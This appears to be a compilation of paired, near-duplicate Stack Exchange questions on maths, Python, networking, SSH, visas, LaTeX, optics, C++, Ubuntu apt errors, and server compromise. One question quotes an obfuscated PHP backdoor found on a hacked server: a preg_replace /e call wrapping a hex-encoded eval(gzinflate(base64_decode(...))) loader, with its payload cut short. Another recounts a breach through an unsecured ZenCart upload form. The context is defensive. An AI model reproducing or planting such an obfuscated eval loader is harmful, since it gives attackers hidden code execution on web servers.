I need to derive the taylor series for $\ln(1+x)$ about $1$ then create an inequality that gives the number of terms that must be taken to yield $\ln4$ with error terms less that $2^{-10}$. I got the taylor series to be $$f(x) = ln(2) + \sum_{n=1}^{\infty} \frac{(-1)^{n+1}(x-1)^n}{n \cdot 2^n}$$ I was wondering if someone could help me with the the error term, I think the answer is suppose to be $n > 2^{10}-1$ but I cant seem to figure out how to get there. thanks


if I have a str and the I use str.index(char) and the char does not exist, is it possible with one line to assign another char to the variable?  Maybe like this  str = "bar/foo"  t = str.index("_") | "Empty"   str dosen't contain _ , so the string "Empty" should be assigned instead.

If Python does not have a ternary conditional operator, is it possible to simulate one using other language constructs?


Whilst upgrading a switch and re-cabling to suit I discovered on of my ethernet cables has no printed markings on it.  Is there a non-invasive way for me to tell if it's Cat5, 5e or 6?

I moved into a home that has Ethernet cables in the walls and all my computer's are gigabyte Ethernet ports, same as my router and the cables I use to connect my PC to the Ethernet ports in the wall, however the Ethernet cables used to wire the home are not accessible from the home   How do I run a test of some kind, or do something to be able to find out what the Ethernet cable is, cat5 or 5e or cat6?  Is there any equipment or anything I can do to figure out what kind of cable was used to do the Ethernet wiring in the home before I moved here? I can't figure out the cables in the walls are even capable of doing more then 100mb and my internet speed is 1GB And I have 9 computer's wired thru the internet eternet wiring of the home by plugging the computers into the Ethernet ports in the wall of the home (they all go to one central location where the router is)  Pls help, I want to clearly find out what type of Ethernet the home is wired with, and if I'm even able to use the full 1GB if my home is wired with old Cat5 cables that can't handle the full 1gb internet speed I'm paying for  Please help!


I need to ask some questions on cloud computing. I think Server Fault may be perfect place for such questions, but are there any specific Stack Exchange sites where can I ask questions on cloud computing?

There seems to be more than a few computer science/programming Stack Exchange networks (is that the correct term?). Stack Overflow, being the first, has by far the most users, questions, and answers.  What is the reasoning for creating the others, and are there clear guidelines for which kinds of questions should be posted? I can see a large amount of potential overflow, many cases of people not getting a good answer to their question, because the person who has the answer isn't browsing that particular network at the moment.  I understand that they were probably created for organizational purposes, but wouldn't it almost make more sense to just have them as categories under Stack Overflow, keep them separated but still connected, instead of making people have to create multiple 'account's, one for each network?  I am sure there was a very good reason to break them up, but as someone that is new to SE, it can be somewhat intimidating to decide which one to post in to ensure you get a good answer. For example, if I am a computer science student, my first instinct might to be to post in the computer science network, until I see that it literally has 1% of the users as the Stack Overflow network, which still seems to be for programming/computer science related questions.  So my second instinct would then to be to post it into the Stack Overflow site on the basis that I have a significantly higher chance of my question being seen and getting a good answer. Then I notice that there is also a 'programmers' network, and I don't even begin to know where that fits in. I, and I am assuming most people, will probably just post on Stack Overflow to be safe.  My question is, other than the short little description blurb of each one, is there a clear cut set of guidelines which what each network is intended for, what kinds of questions should go to each one, and is anything being done to encourage people to post in these newer, smaller (more specialized?) networks as opposed to just posting in big daddy Stack Overflow?  Now again, this is for computer science/programming/"why isn't this code doing what I want?" related questions, I am not saying that if I had a question about Linux or WordPress or something I would have the same confusion.


I am querying rpm database using --qf flag   rpm -q --qf '<prm><N>%{N}</N></rpm>' --all   this work fine locally, now when I try to ssh it   ssh -l root ${host} rpm -q --qf '<prm><N>%{N}</N></rpm>' --all   I get  bash: -c: line 0: syntax error near unexpected token '<'  bash: -c: line 0: `rpm -q --qf <prm><N>%{N}</N></rpm> --all'   Note that    second line has a backquote and a forward quote, using double quote give same error, real use use %{N}, %{V}, %{INSTALLTIME:date} ...   I am missing something obvious, but what ?

I'm using Bash on both client and server. When running a command over SSH:   ssh <host> 'declare' gives a list of shell variables. ssh <host> 'mount' gives a list of mountpoints.   However, declare is a Bash builtin, while mount is an external command. How does SSH know which to run if there is a shell builtin and an external command with the same name on the server?


I hold an Egyptian passport and am traveling from Cairo to London via Turkish Airlines. I will have a long layover more than 12 hours. Do I need a transit visa? or shall I enter Turkey getting a transit visa on arrival at the airport. I have a valid visa to England

I have an Indian passport and am planning to visit Germany with a valid visa. To book a flight for Germany (Mumbai – Dusseldorf), I came across some connected flights that stop at Istanbul.  Do I need to have visa for Turkey?  This is the first time I am travelling outside my country, and any information on this will be helpful.


Title says it all. I need to generate PDF/A compliant documents, and I'm using XeTeX. I couldn't find anything about this;  there's only info about pdfLaTeX (using pdfx) and ConTeXt.  Any help is greatly appreciated.

I have heard about PDF  PDF/A (for archival) and PDF/X (for printing). How to generate LaTeX documents like that?  I'm also interested in answers with plain TeX and ConTeXt, and hopefully with both pdfTeX and XeTeX engines.


We learned at school that white object reflects all the light that falls on it. We also learned that a mirror reflects all light as well. However, we cannot see ourselves in a white object while we can see ourselves in a mirror.   What makes a mirror different from a white surface?  If both white surface and mirror reflect all the light that fall on them, then why don't they look the same?

I was taught that something which reflects all the colors of light is white. The function of a mirror is the same, it also reflects all light. What's the difference?  Update: But what if the white object is purely plain and does not scatter light? Will it be a mirror?


Suppose I have a struct that has a name and some value associated with it:  struct Season {   std::string name;   // Mean temperature over the season   double meanTemperature;   // Days since the start of year when it's strongest   float strongestAt;   // Fraction of a year it applies to, compared to other seasons   float yearFraction; }   This class describes a season per year. Suppose I have a collection of them, which fills in the entire year:  // made up method that is supposed to find a season (I don't use it in real code) int findIndex(const std::vector<Season>& in, std::function<bool(const Season&)>); class SeasonCollection { public:   const Season* GetSeason(const std::string& name) const   {     const int index = findIndex(_seasons, [name](const Season& s) { return s.seasonName == name; });     return index != -1 ? &_seasons[index] : nullptr;   }   Season* GetSeason(const std::string& name)   {     const int index = findIndex(_seasons, [name](const Season& s) { return s.seasonName == name; });     return index != -1 ? &_seasons[index] : nullptr;   } private:   //! Settings for seasons   std::vector<Season> _seasons; };    In that collection you can see that I need to get both const Season* and Season*. That's because in some contexts, the collection is meant to be read-only and in some others, it is writeable.  There will also be other ways of getting a season, such as day of the year (eg. Christmas day 24.12). I want to have a const getter for each method of getting them, but I also do not want to copy-paste each of them and just add const.  What's the best approach?

Let's say I have the following class X where I want to return access to an internal member:  class Z {     // details };  class X {     std::vector<Z> vecZ;  public:     Z& Z(size_t index)     {         // massive amounts of code for validating index          Z& ret = vecZ[index];          // even more code for determining that the Z instance         // at index is *exactly* the right sort of Z (a process         // which involves calculating leap years in which         // religious holidays fall on Tuesdays for         // the next thousand years or so)          return ret;     }     const Z& Z(size_t index) const     {         // identical to non-const X::Z(), except printed in         // a lighter shade of gray since         // we're running low on toner by this point     } };   The two member functions X::Z() and X::Z() const have identical code inside the braces.  This is duplicate code and can cause maintenance problems for long functions with complex logic.    Is there a way to avoid this code duplication?


I am new to Ubuntu and is using 16.04. Recently I got a notification at the top of the desktop saying:  An error occured, please run package manager or apt-get to see whats wrong. The error message was error opening the cache: E:encountered a section with no Package: header, E: Problem with MergeList/var/lib/apt/lists/in.archive.ubuntu.com_ubuntu_dists_xenial-updates_restricted_binary-amd64_Packages E:The Package lists or status file could not be parsed or opened.)This usually means your installed packages have unmet dependencies.   I do not have Package Manager installed and I cannot open Ubuntu Software Center anymore. I have tried running sudo apt-get update and then sudo apt-get -f install but it didn't work.

The computer gave me this output in a window:  E: Encountered a section with no Package: header E: Problem with MergeList /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_natty_main_binary-i386_Packages E: The package lists or status file could not be parsed or opened.   How can I fix this?


Thank you for your email. We are currently reviewing your case.  To be able to move forward with the visa application, please send us a copy of your current passport bio data page.

The checklist for my Mongolian visa application mentions     Copy of the bio-data page of your current passport (including passport of other nationality)   What's a bio-data page?


I have a series of websites in my server, all of which share the same set of PHP files. They're not based in any CMS (no Wordpress, no Joomla, etc.). All of them contain my own "CMS" so to speak. I've never published my code in any public repository or other public site.  So how is it possible that I have a new file called "mails.php" in the root of every domain in my server? The contents are something like this:  <?php  preg_replace("/.*/e","\x28\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X17f9rG0vD/5/c732GtcipoMAac5CRgiBPHTpyLnfqSpInzUAECVAukSsLYzfF3f2ZmV5fVDUGc0z7vW7exQdqdnd2dnZ2dnUtJm3uTnq25LuswpTkYjvSH/240Bg8f1Efbw+ZI6zcbzbr+WK8/ftB8pLT/+Y/  ...snip...  /1KRwsG3Iu0AiUSgmWYolw8UZqaSaX+ojbW56PT6vpClLsH7+jm6aYsVTuhppkpQDUoWolJXu8yrVVk/1weFsZKncsyt+M60J1V4ewhkDMNBMs4eapx5WzqqBLmLoQPu/'\x29\x29\x29\x29\x3B",".");?>   The "code" inside the string shown here is not complete (I shortened it before pasting it here) but still, I don't get how is that working. The preg_replace() method is supposed to just return a string, is it? But then the string is not received by anything. So how does it run any code at all? How does that even do something?  Anyway, the biggest question is, how did that file appear in my domains?

This is a  about Server Security - Responding to Breach Events (Hacking)   See Also:                  Canonical Version I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism:   What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", are there other initial considerations? How do I go about getting services back online? How do I prevent the same thing from happening immediately again? Are there best practices or methodologies for learning from this incident? If I wanted to put a Incident Response Plan together, where would I start? Should this be part of my Disaster Recovery or Business Continuity Planning?   Original Version       2011.01.02 - I'm on my way into work at 9.30 p.m. on a Sunday because our server has been compromised somehow and was resulting in a    attack on our provider. The servers access to the Internet   has been shut down which means over 5-600 of our clients sites are now   down. Now this could be an FTP hack, or some weakness in code   somewhere. I'm not sure till I get there.      How can I track this down quickly? We're in for a whole lot of   litigation if I don't get the server back up ASAP. Any help is   appreciated. We are running Open SUSE 11.0.            2011.01.03 - Thanks to everyone for your help. Luckily I WASN'T the only person responsible for this server, just the nearest. We managed   to resolve this problem, although it may not apply to many others in a   different situation. I'll detail what we did.      We unplugged the server from the net. It was performing (attempting to   perform) a Denial Of Service attack on another server in Indonesia,   and the guilty party was also based there.      We firstly tried to identify where on the server this was coming from,   considering we have over 500 sites on the server, we expected to be   moonlighting for some time. However, with SSH access still, we ran a   command to find all files edited or created in the time the attacks   started. Luckily, the offending file was created over the winter   holidays which meant that not many other files were created on the   server at that time.      We were then able to identify the offending file which was inside the   uploaded images folder within a  website.      After a short cigarette break we concluded that, due to the files   location, it must have been uploaded via a file upload facility that   was inadequetly secured. After some googling, we found that there was   a security vulnerability that allowed files to be uploaded, within the   ZenCart admin panel, for a picture for a record company. (The section   that it never really even used), posting this form just uploaded any   file, it did not check the extension of the file, and didn't even   check to see if the user was logged in.      This meant that any files could be uploaded, including a PHP file for   the attack. We secured the vulnerability with ZenCart on the infected   site, and removed the offending files.      The job was done, and I was home for 2 a.m.            The Moral   - Always apply security patches for ZenCart, or any other CMS system for that matter. As when security updates are released, the whole   world is made aware of the vulnerability.   - Always do backups, and backup your backups.   - Employ or arrange for someone that will be there in times like these. To prevent anyone from relying on a panicy post on Server   Fault.